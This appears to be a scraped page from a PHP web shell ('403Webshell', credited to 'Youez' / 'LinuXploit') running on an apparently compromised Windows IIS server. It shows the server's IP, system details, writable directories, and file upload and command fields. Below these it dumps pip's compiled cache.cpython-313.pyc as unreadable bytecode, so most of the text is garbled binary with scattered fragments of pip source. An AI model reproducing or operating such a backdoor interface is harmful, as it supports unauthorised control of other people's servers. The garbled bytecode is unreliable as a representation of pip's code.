403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/site-packages/pip/_internal/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/site-packages/pip/_internal/__pycache__/cache.cpython-313.pyc
�

��ii(��T�SrSSKJr SSKrSSKrSSKrSSKrSSKJr SSK	J
r
 SSKJrJ
r
Jr SSKJr SSKJr SS	KJr SS
KJr SSKJr SSKJrJr SS
KJr \R<"\5r Sr!SSjr""SS5r#"SS\#5r$"SS\$5r%"SS5r&"SS\#5r'g)zCache Management�)�annotationsN)�Path)�Any)�Tag�interpreter_name�interpreter_version)�canonicalize_name)�InvalidWheelFilename)�	DirectUrl)�Link)�Wheel)�
TempDirectory�
tempdir_kinds)�path_to_urlzorigin.jsonc��[R"USSSS9n[R"UR	S55R5$)z'Return a stable sha224 of a dictionary.T)�,�:)�	sort_keys�
separators�ensure_ascii�ascii)�json�dumps�hashlib�sha224�encode�	hexdigest)�d�ss  �5C:\Python313\Lib\site-packages\pip/_internal/cache.py�
_hash_dictr!s7���
�
�1���$�O�A��>�>�!�(�(�7�+�,�6�6�8�8�c�h^�\rSrSrSrS	U4SjjrS
SjrSSjrSSjrS
Sjr	Sr
U=r$)�Cache�!zmAn abstract class - provides cache directories for data from links

:param cache_dir: The root of the cache.
c�>�[TU]5 U(a&[RR	U5(deU=(d SUlg�N)�super�__init__�os�path�isabs�	cache_dir��selfr-�	__class__s  �r r)�Cache.__init__'s5���
��������
�
�i� 8� 8�8�8�"�*�d��r"c�4�SUR0nURb%URbURX!R'UR(aURUS'[	5US'[5US'[
U5nUSSUSSUSSUSS/nU$)	z<Get parts of part that must be os.path.joined with cache_dir�urlN�subdirectoryrr���)�url_without_fragment�	hash_name�hash�subdirectory_fragmentrrr!)r/�link�	key_parts�hashed�partss     r �_get_cache_path_parts�Cache._get_cache_path_parts,s����D�5�5�6�	��>�>�%�$�)�)�*?�(,�	�	�I�n�n�%��%�%�(,�(B�(B�I�n�%�)9�(:�	�$�%�+>�+@�	�'�(��I�&��
����V�A�a�[�&��1�+�v�a�b�z�B���r"c�6�UR(+=(d U(+=(d U(+nU(a/$URU5n[RR	U5(a([R
"U5Vs/sHoUU4PM sn$/$s snfr')r-�get_path_for_linkr*r+�isdir�listdir)r/r<�canonical_package_name�
can_not_cacher+�	candidates      r �_get_candidates�Cache._get_candidatesMsx�� �N�N�*�T�2H�.H�T�PT�H�
���I��%�%�d�+��
�7�7�=�=����79�z�z�$�7G�H�7G�)��%�7G�H�H��	��Is�
Bc��[5e)z5Return a directory to store cached items in for link.��NotImplementedError�r/r<s  r rC�Cache.get_path_for_linkWs��!�#�#r"c��[5e)zQReturns a link to a cached item if it exists, otherwise returns the
passed link.
rL)r/r<�package_name�supported_tagss    r �get�	Cache.get[s
��"�#�#r")r-�r-�str�return�None)r<rrWz	list[str])r<rrFrVrWz	list[Any]�r<rrWrV�r<rrQ�
str | NonerR�	list[Tag]rWr)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r)r@rIrCrS�__static_attributes__�
__classcell__�r0s@r r$r$!sM����
+�
�B�$�	$��	$�!�	$�"�		$�

�	$�	$r"r$c�T^�\rSrSrSrSU4SjjrSSjrS	SjrSrU=r	$)
�SimpleWheelCache�gz&A cache of wheels for future installs.c�$>�[TU]U5 gr')r(r)r.s  �r r)�SimpleWheelCache.__init__js���
����#r"c��URU5nUR(de[RR"URS/UQ76$)acReturn a directory to store cached wheels for link

Because there are M wheels for any one sdist, we provide a directory
to cache them in, and then consult that directory when looking up
cache hits.

We only insert things into the cache if they have plausible version
numbers, so that we don't contaminate the cache with things that were
not unique. E.g. ./package might have dozens of installs done for it
and build a version of 0.0...and if we built and cached a wheel, we'd
end up using the same wheel even if the source has been edited.

:param link: The link of the sdist for which this will cache wheels.
�wheels)r@r-r*r+�join)r/r<r?s   r rC�"SimpleWheelCache.get_path_for_linkms>���*�*�4�0���~�~��~��w�w�|�|�D�N�N�H�=�u�=�=r"c��/nU(dU$[U5nURX5Hvupg[U5nURU:wa[
R
SUUU5 M;URU5(dMSURURU5UU45 Mx U(dU$[U5up�n[[[RRXv555$![a M�f=f)NzWIgnoring cached wheel %s for %s as it does not match the expected distribution name %s.)r	rIr
r
�name�logger�debug�	supported�append�support_index_min�minrrr*r+rl)
r/r<rQrR�
candidatesrF�
wheel_name�	wheel_dir�wheel�_s
          r rS�SimpleWheelCache.get�s����
���K�!2�<�!@��%)�%9�%9�$�%W�!�J�
��j�)���z�z�3�3����H��� ����?�?�>�2�2������+�+�N�;����
�#&X�2��K�#&�z�?� ��y��K������Y� C�D�E�E��5(�
��
�s�C*�*
C8�7C8�rUrYrZ)
r]r^r_r`rar)rCrSrbrcrds@r rfrfgsF���0�$�>�()F��)F�!�)F�"�	)F�

�)F�)Fr"rfc�0^�\rSrSrSrSU4SjjrSrU=r$)�EphemWheelCache�zBA SimpleWheelCache that creates it's own temporary cache directoryc�>�[[RSS9Ul[TU]URR5 g)NT)�kind�globally_managed)rr�EPHEM_WHEEL_CACHE�	_temp_dirr(r)r+)r/r0s �r r)�EphemWheelCache.__init__�s4���&��0�0�!�
���
	������,�,�-r")r�)rWrX)r]r^r_r`rar)rbrcrds@r r~r~�s���L�.�.r"r~c�&�\rSrSrSSjrSrg)�
CacheEntry�c�z�XlX lSUl[URR5R
[-nUR5(a*[R"URSS95Ulgg![a,n[RSUURU5 SnAgSnAff=f)N�utf-8��encodingz7Ignoring invalid cache entry origin file %s for %s (%s))r<�
persistent�originr�	file_path�parent�ORIGIN_JSON_NAME�existsr�	from_json�	read_text�	Exceptionrp�warning�filename)r/r<r��origin_direct_url_path�es     r r)�CacheEntry.__init__�s���
�	�$��(,���!%�d�i�i�&9�&9�!:�!A�!A�DT�!T��!�(�(�*�*�

�'�1�1�*�4�4�g�4�F����+��
�
����M�*��M�M��	���
�s�(B�
B:�"B5�5B:)r<r�r�N)r<rr��bool)r]r^r_r`r)rbr|r"r r�r��s������r"r�c�^�\rSrSrSrS
U4SjjrSSjrSSjrSSjrS
Sjr	\
SSj5rS	rU=r
$)�
WheelCache��z�Wraps EphemWheelCache and SimpleWheelCache into a single Cache

This Cache allows for gracefully degradation, using the ephem wheel cache
when a certain link is not found in the simple wheel cache first.
c�b>�[TU]U5 [U5Ul[	5Ulgr')r(r)rf�_wheel_cacher~�_ephem_cacher.s  �r r)�WheelCache.__init__�s(���
����#�,�Y�7���+�-��r"c�8�URRU5$r')r�rCrNs  r rC�WheelCache.get_path_for_link����� � �2�2�4�8�8r"c�8�URRU5$r')r�rCrNs  r �get_ephem_path_for_link�"WheelCache.get_ephem_path_for_link�r�r"c�H�URXU5nUcU$UR$r')�get_cache_entryr<)r/r<rQrR�cache_entrys     r rS�WheelCache.get�s-���*�*�4�~�N�����K����r"c��URRUUUS9nXALa
[USS9$URRUUUS9nXALa
[USS9$g)z�Returns a CacheEntry with a link to a cached item if it exists or
None. The cache entry indicates if the item was found in the persistent
or ephemeral cache.
)r<rQrRT)r�FN)r�rSr�r�)r/r<rQrR�retvals     r r��WheelCache.get_cache_entry�sy���"�"�&�&��%�)�'�
��
���f��6�6��"�"�&�&��%�)�'�
��
���f��7�7�r"c��[U5[-nUR5(aj[R"URSS95nURUR:wa,[RSURUUR5 URUR5SS9 g![a!n[RSUU5 SnANESnAff=f)Nr�r�z�Origin URL %s in cache entry %s does not match download URL %s. This is likely a pip bug or a cache corruption issue. Will overwrite it with the new value.zPCould not read origin file %s in cache entry (%s). Will attempt to overwrite it.)rr�r�rr�r�r3rpr�r��
write_text�to_json)r-�
download_info�origin_pathr�r�s     r �record_download_origin�!WheelCache.record_download_origin
s����9�o�(8�8�������
�"�,�,�[�-B�-B�G�-B�-T�U���:�:��!2�!2�2��N�N�@��
�
�!�%�)�)�
�	���}�4�4�6���I��'�
����4���	���
�s�#B1�1
C�;C�C)r�r�rUrYrZ)r<rrQr[rRr\rWzCacheEntry | None)r-rVr�rrWrX)r]r^r_r`rar)rCr�rSr��staticmethodr�rbrcrds@r r�r��s�����.�
9�9�	 ��	 �!�	 �"�		 �

�	 ����!��"�	�

��8�J��Jr"r�)rzdict[str, str]rWrV)(ra�
__future__rrr�loggingr*�pathlibr�typingr�pip._vendor.packaging.tagsrrr�pip._vendor.packaging.utilsr	�pip._internal.exceptionsr
�pip._internal.models.direct_urlr�pip._internal.models.linkr�pip._internal.models.wheelr
�pip._internal.utils.temp_dirrr�pip._internal.utils.urlsr�	getLoggerr]rpr�r!r$rfr~r�r�r|r"r �<module>r�s����"����	���Q�Q�9�9�5�*�,�E�0�	�	�	�8�	$�� ��9�C$�C$�LCF�u�CF�L	.�&�	.���0RJ��RJr"

Youez - 2016 - github.com/yon3zu
LinuXploit